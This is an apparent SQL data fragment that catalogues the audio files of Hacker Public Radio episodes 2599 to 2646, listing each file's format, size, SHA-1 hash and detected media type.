(2599,'hpr2599.mp3','mp3',5002970,'162f896e0ddf78c78c9266718b9e4000f71d80db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2599,'hpr2599.ogg','ogg',5627021,'c8e6a5bc688ef60343b68eda17aa1588b646781d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2599,'hpr2599.spx','spx',2234167,'dff0ba8ef37bd31e4b125d880fddc0e6af0664a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2600,'hpr2600.mp3','mp3',26483580,'054443037616c8261c0ffa41ee23478b200c2cd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2600,'hpr2600.ogg','ogg',22479903,'dada2e46bdc247695058b072d1b3a371fdc0e593','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2600,'hpr2600.spx','spx',11827598,'35f28a2f17789e39ebc1a54697550d802bbdcee3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2601,'hpr2601.mp3','mp3',6164230,'38a26c5eefd842ed011030373968c42164fb1172','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2601,'hpr2601.ogg','ogg',6799840,'b439cc91c4bc70d280a05ad677c42a037c04ecac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2601,'hpr2601.spx','spx',2752695,'5355ccd438017274e47031bcf23bf33eff795e0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2602,'hpr2602.mp3','mp3',12867655,'15b31a2359573a2655f6c3c9f13cecc46d10db20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2602,'hpr2602.ogg','ogg',14533308,'74c7b6f7281cdcffbb1f5be05703f9444dae8798','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2602,'hpr2602.spx','spx',5746539,'398248aef59cac39199456cb28c1728bcae934ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(2603,'hpr2603.mp3','mp3',12328987,'82d7249c6672a48874f1e4dd05baceddb55eda6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2603,'hpr2603.ogg','ogg',13788073,'498c5066c3145279babc033c29d6ad1acfb7a3c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2603,'hpr2603.spx','spx',5506024,'64d0d3973d410859c463328b4a8f1e4dee96a4b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2604,'hpr2604.mp3','mp3',9679515,'ee2af8637ecdc24ef7097ba66682d8f21d364586','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2604,'hpr2604.ogg','ogg',11184752,'9fbd9dd95b1e4f716e2bb64f6f0021108ecd55ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2604,'hpr2604.spx','spx',4322747,'352905a0236a3e71e35eadc695a0cf5cde5b3987','application/ogg; charset=binary','Ogg data, Speex audio'),
(2605,'hpr2605.mp3','mp3',5877089,'dc79c72f076795b7d8165e7603c14ac81d458df9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2605,'hpr2605.ogg','ogg',6868020,'ce868f9222ce1800cb04ce7c23e7d6d38e9fe6e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2605,'hpr2605.spx','spx',2624508,'b2e9605fb9b4c9f52b1f4801a7dc7ee8b3fc4c6f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2606,'hpr2606.mp3','mp3',5281145,'83102f10ec6f393955e90c96bd3bb048ded74d1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2606,'hpr2606.ogg','ogg',6130531,'ca065f508371b1666643d2ec3aa32ff25b9d116c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2606,'hpr2606.spx','spx',2358398,'ba895182491cc11ee29f0a1f4c627eb13168636b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2607,'hpr2607.mp3','mp3',14525947,'7f574b72e7d1db32877087e53ecd2d06d9abed9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2607,'hpr2607.ogg','ogg',16467758,'6f5b6ba3ed4543127dee5d6a9e398603f0d4e6f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2607,'hpr2607.spx','spx',6487174,'68e29c18779be780448e611f3909ff92d92f6538','application/ogg; charset=binary','Ogg data, Speex audio'),
(2608,'hpr2608.mp3','mp3',9943824,'7575c6319a303722a03bec67817f2b914e0e058c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2608,'hpr2608.ogg','ogg',9341433,'39b506797dac2e3ef177ab17c77afa40f749a0b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2608,'hpr2608.spx','spx',4440744,'361d74f66f1f6ce05111e7e82d9c69a7696ee8bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2609,'hpr2609.mp3','mp3',11954392,'2789659ae32aff32807f902afae9e02010993690','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2609,'hpr2609.ogg','ogg',13508395,'ad9a9738420ac1802a17c72c11310acfbc705263','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2609,'hpr2609.spx','spx',5338657,'265c06889da79e2f3308f20c741418002c1372b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2610,'hpr2610.mp3','mp3',17475637,'d6aa5cd2ab44b8a6117e87e33e90b6e56f74aa77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2610,'hpr2610.ogg','ogg',19335072,'56dd8119506c493baac349cca3c7e6a64c7c9215','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2610,'hpr2610.spx','spx',7804524,'c117cf93e8de4ba2a383df53e2e3c4aee576d800','application/ogg; charset=binary','Ogg data, Speex audio'),
(2611,'hpr2611.mp3','mp3',41550154,'a2b22b02b25c59e7868137f22ee80b720a155263','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2611,'hpr2611.ogg','ogg',40699658,'b3e70032d194afd5cabb008bb5edec5025b899af','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2611,'hpr2611.spx','spx',18556528,'9ebe78d8d6d135b012e0789669fed51fa04cabcc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2612,'hpr2612.mp3','mp3',3942196,'c444840ba969353b5178e145de6a7bd0dc31644a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2612,'hpr2612.ogg','ogg',4673987,'061adf51f66724bbd9eeb713c064b1fcb7fce421','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2612,'hpr2612.spx','spx',1760348,'4e9b8875e1962fc80e6bff7a7cfd52784ffbc545','application/ogg; charset=binary','Ogg data, Speex audio'),
(2613,'hpr2613.mp3','mp3',3938354,'c148c1d704e0273cec812d7be9bd795771b1fd78','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2613,'hpr2613.ogg','ogg',4500092,'fe434f4e56d84670eef817c6a84e3926cc0fd165','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2613,'hpr2613.spx','spx',1758635,'21a14133ff9c7c891761c74152045e32a0bd2060','application/ogg; charset=binary','Ogg data, Speex audio'),
(2614,'hpr2614.mp3','mp3',6380114,'d677cb23a619a442924bea7f97b7a4c0405f953f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2614,'hpr2614.ogg','ogg',7292832,'6d9e521ee4e38366a4e38855a0f54b517f003786','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2614,'hpr2614.spx','spx',2849103,'c576fc379aae8a08efe8feb0d3b81047f31df831','application/ogg; charset=binary','Ogg data, Speex audio'),
(2615,'hpr2615.mp3','mp3',9422617,'c70dba7344cb51609af9337870eebdc5f2a8fa21','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2615,'hpr2615.ogg','ogg',10922813,'67ecb38f9d239b9d9ea43dbbde0c28a69d8f1da3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2615,'hpr2615.spx','spx',4207974,'b32f2b2f0ad93907f695c33508cb8bdbf6013424','application/ogg; charset=binary','Ogg data, Speex audio'),
(2616,'hpr2616.mp3','mp3',3604293,'c241d19f056ea573104df63a2ef6b8351163154e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2616,'hpr2616.ogg','ogg',4071520,'61cd9f6fdf51b13458002e1355575aeb83ba7c9e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2616,'hpr2616.spx','spx',1609441,'3a2dc2e5f7fe75282781ce94dc47ba3d181e6668','application/ogg; charset=binary','Ogg data, Speex audio'),
(2617,'hpr2617.mp3','mp3',10848996,'dc8c14b90f788709316e7b218a4adcbe64dfc6c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2617,'hpr2617.ogg','ogg',11648372,'46f258e4c3cb2ef3377338eb819c245bb709be8a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2617,'hpr2617.spx','spx',4845065,'69081bda029c06a43a909e65fbe754fadc5db8c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2618,'hpr2618.mp3','mp3',12154854,'eef4fdc1d657b1aed4720ca90b5899d961d0a64f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2618,'hpr2618.ogg','ogg',11576431,'d28d8efc273042b9f8e717e6b2b082bfe83ac6cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2618,'hpr2618.spx','spx',5428166,'d6e51262d8930c3101d04c1f27c3fd97e26844d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2619,'hpr2619.mp3','mp3',10876511,'46b8ebab39f3f00e4eef8b82a041c1a44cc7eb2b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2619,'hpr2619.ogg','ogg',12029800,'1bbd50aa3605db427f48411ba815ec9637a29abc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2619,'hpr2619.spx','spx',4857261,'04690758c2fbdd215ff8a22793b97fcd4f7ac8aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2620,'hpr2620.mp3','mp3',12075036,'81b84243e3edbb036d5eb754821de7e00e8dc5de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2620,'hpr2620.ogg','ogg',13038494,'cef237546991680a24b8249d862aeab40711c2d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2620,'hpr2620.spx','spx',5392578,'da8ad4c3856bc915645ab534127b4c67e9b19ce4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2621,'hpr2621.mp3','mp3',3470342,'4a463a02298404822cb4662d8457135ecafab46e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2621,'hpr2621.ogg','ogg',3907136,'a1a0a763ce65acf309f93af0d0ee5d31b09b2387','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2621,'hpr2621.spx','spx',1549641,'f9b2cf8ea68b047c790c66e718372d8015e2581a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2622,'hpr2622.mp3','mp3',3284742,'739fa3ee743cfc8e4488f31e3da912d8ecd1f117','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2622,'hpr2622.ogg','ogg',3575273,'564f2405aa31169cb2d1e41e305f7890c56321f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2622,'hpr2622.spx','spx',1466715,'827b8c0314f87d0a2e53e3f4fce5d854b51c8ec1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2623,'hpr2623.mp3','mp3',28017071,'a9105cfded1b98c74e58966b84b5ceb76240ba4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2623,'hpr2623.ogg','ogg',30513552,'9da0bae589a1299cdd283f56bf5d3170b2ecd0aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2623,'hpr2623.spx','spx',12512505,'a4800e64887cf70b45233d3d337138149e45007e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2624,'hpr2624.mp3','mp3',11689240,'454457e8dc4fa52bb9c12e3147ae08203d61a226','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2624,'hpr2624.ogg','ogg',12784716,'1873fb01e34d2d1525a27040efe0c8aedee66121','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2624,'hpr2624.spx','spx',5220297,'08bb754fc0f7740f112e25b5fdf29f75bffbfeda','application/ogg; charset=binary','Ogg data, Speex audio'),
(2625,'hpr2625.mp3','mp3',8161301,'bccbc0729c3aa4f59dd7a73289421d3504ac0f35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2625,'hpr2625.ogg','ogg',8768141,'a49b2df1747c8282addeae486df6f652e5b29f0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2625,'hpr2625.spx','spx',3644703,'910dc63472d192459db97c4f49136ceb6e5a8a65','application/ogg; charset=binary','Ogg data, Speex audio'),
(2626,'hpr2626.mp3','mp3',5201097,'2fc44dd12f857c98702e7664a53dac7a22e7c61e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2626,'hpr2626.ogg','ogg',5830813,'d68d13736450b4cd6304a82a001816513586bfd3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2626,'hpr2626.spx','spx',2322575,'269c7e815696810091b30f154683614873e5c8ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2627,'hpr2627.mp3','mp3',11495701,'962f388e88fc1522279e278157d00c59a08b5e62','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2627,'hpr2627.ogg','ogg',8473392,'e262a4d1fd6946bfca6993b13d3df4ed68a8c352','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2627,'hpr2627.spx','spx',5133796,'e45cfb874e9861b5fc465ab4e2bbb2b7e61fc450','application/ogg; charset=binary','Ogg data, Speex audio'),
(2628,'hpr2628.mp3','mp3',5807334,'d317f0fd903626d7f6673aa8d9c384127d89e273','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2628,'hpr2628.ogg','ogg',6081235,'b6b2280485a71edb5065df61fa4ef378b82828cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2628,'hpr2628.spx','spx',2593309,'53be038ae408caa3e8c529c72521463a84b15d8b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2629,'hpr2629.mp3','mp3',12809626,'edacdd73b8f62decdcd31ce0ef74dbee4951689c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2629,'hpr2629.ogg','ogg',13147470,'1f29730e0da3eb878ace06351129e022bdbb4579','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2629,'hpr2629.spx','spx',5720671,'f4921a12ce3cb616206d2716b95c79856e257b38','application/ogg; charset=binary','Ogg data, Speex audio'),
(2630,'hpr2630.mp3','mp3',2918813,'d0da27e41bd2c7698b03299389210d5d15ed4a29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2630,'hpr2630.ogg','ogg',3290148,'9b9d2e3b4f6d1a3f6d628fb70e3019b12245c198','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2630,'hpr2630.spx','spx',1303306,'0bff622ad3809f9c9e454afc9c75155d382f6206','application/ogg; charset=binary','Ogg data, Speex audio'),
(2631,'hpr2631.mp3','mp3',36903288,'7438ad5281a5d287667943943d02f6c85742cc65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2631,'hpr2631.ogg','ogg',36619293,'acbd262659b5f78ab6043dbeb698b88e8495cff7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2631,'hpr2631.spx','spx',16481124,'55b76cba40529e0710a41a20c61a22d3c82a4f19','application/ogg; charset=binary','Ogg data, Speex audio'),
(2632,'hpr2632.mp3','mp3',4145990,'460d4591222e031fdac469d67340f46397df5e7c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2632,'hpr2632.ogg','ogg',4646280,'0487e299df4293ecf288d133822341322f669cf9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2632,'hpr2632.spx','spx',1851337,'e46bf43085eaac7fc83e85a8eea0d25ffe7a738c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2633,'hpr2633.mp3','mp3',15624732,'99a1a6d5f9ee4c47702b2515a06cba1648aec120','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2633,'hpr2633.ogg','ogg',14464853,'61aeeaf8ed1b483af785402593d73e03fa326fb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2633,'hpr2633.spx','spx',6977904,'59d554be761d973af567b52d7301b4670e60bed2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2634,'hpr2634.mp3','mp3',9490362,'6687a60086e8462b543e2d2345984c57981e8ede','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2634,'hpr2634.ogg','ogg',10837445,'74e773c33a98ab44b50fe19e2cb806f88526f107','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2634,'hpr2634.spx','spx',4238187,'d17b5d9d5b4192c9a9f08159c2b820d53b6c53c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2635,'hpr2635.mp3','mp3',27668280,'212144949c92e33ed60ea266b5ea90efc7f64d8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2635,'hpr2635.ogg','ogg',30960459,'3d77e4ff0e07470f6a1cbac3a7d7d35df69ffe60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2635,'hpr2635.spx','spx',12356722,'9e8cdd92845c306f96b362bdeb6fd67bd41cbad8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2636,'hpr2636.mp3','mp3',5937546,'68174a0c90ff1a67f29779ca965ad9d0e1e615e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2636,'hpr2636.ogg','ogg',6540350,'ef393da9d3961a268a39492638f757de4a60289e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2636,'hpr2636.spx','spx',2651499,'3032f27afb003b6e86d557af61a04087547231df','application/ogg; charset=binary','Ogg data, Speex audio'),
(2637,'hpr2637.mp3','mp3',8916067,'3e93cf37b2918018dd416aaa1db8d1151b40e4bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2637,'hpr2637.ogg','ogg',10189870,'b819792c86fe2c76264ec1df9d318d2e2a76b0c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2637,'hpr2637.spx','spx',3981773,'b1de68cc1aff5f9c9e95338abbd342e95013e8ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(2638,'hpr2638.mp3','mp3',19552479,'1e6ddbfb1f8e8b23c486d89ed52bfc24d4b4d042','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2638,'hpr2638.ogg','ogg',22633784,'22d0edf880d2e75268d1c94ceee1c12fecdce6ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2638,'hpr2638.spx','spx',8732047,'6e03c29fe8ecb6e1dc100da611178ad7916465c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2639,'hpr2639.mp3','mp3',11524756,'fdbcf8845b258b3b73db3a1a6827e7bb6e0eae16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2639,'hpr2639.ogg','ogg',12914182,'7bc3f15df1d2ae620b446adfaf80e65f4349b674','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2639,'hpr2639.spx','spx',5146806,'b5a4fbba1b48324826ef36d2a913e246ef66ad77','application/ogg; charset=binary','Ogg data, Speex audio'),
(2640,'hpr2640.mp3','mp3',7749139,'3f9ca20d9cd1413450a9efaa0ede79071dc1279a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2640,'hpr2640.ogg','ogg',8430126,'f906be84488d644b6668cf5224ed1a1242adec81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2640,'hpr2640.spx','spx',3460636,'bbb9c5ba367ac3e72f12d0ac98dc35ccc161c6ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(2641,'hpr2641.mp3','mp3',5650876,'dba0e5e09cb3059dff9450c1e6c1f38b08340f34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2641,'hpr2641.ogg','ogg',6058658,'41aafcba288213f3289116e8ec158e78b4c0bbf6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2641,'hpr2641.spx','spx',2523578,'6b2ea4e7d38520531b8fa1809c6c168ad2cf0b45','application/ogg; charset=binary','Ogg data, Speex audio'),
(2642,'hpr2642.mp3','mp3',3668852,'711684e360b9bec01bbe338239c3693a8812c6e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2642,'hpr2642.ogg','ogg',4272578,'da56004ca21ba2d4a9fc390c6b3e7bf66ed30e5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2642,'hpr2642.spx','spx',1638299,'91c2e76500e6459fabca41ec12e4458ab3a6e5c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2643,'hpr2643.mp3','mp3',6533292,'87e202e3073b2e35b027e41648b455eb5a76664f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2643,'hpr2643.ogg','ogg',6842284,'bba161e4cc90a97c8bdfff01c0596124c31b94a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2643,'hpr2643.spx','spx',2917549,'acf9a848fdc1420df0dc622ca42a1eb1775d4c6b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2644,'hpr2644.mp3','mp3',1552417,'e99434ca229fa45ab33efae64ba41bb279f716d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2644,'hpr2644.ogg','ogg',1739282,'f9b456cd4b29a2a35a6afb000596f92bd4bc08a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2644,'hpr2644.spx','spx',693034,'905134b7c396146f128f027dde8ad57e9f2e48d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2645,'hpr2645.mp3','mp3',12249304,'c2a1b4fa5ae422b8b9b29fafee7270b44b56e0d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2645,'hpr2645.ogg','ogg',12899541,'d4f48ffe636497c1b4ce34397dc72a78c43b2e51','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2645,'hpr2645.spx','spx',5470389,'5121a05ae2d3f8c6e2d02feecd690fc31fe05788','application/ogg; charset=binary','Ogg data, Speex audio'),
(2646,'hpr2646.mp3','mp3',3993891,'a14562265c3de07d86cdff19e97374e202196e08','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2646,'hpr2646.ogg','ogg',4416156,'e814368e678d8fd3a2604441ac762fce34207266','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2646,'hpr2646.spx','spx',1783493,'2e5a8b857b85563b2d7b5489098fc4ded7111144','application/ogg; charset=binary','Ogg data, Speex audio'),
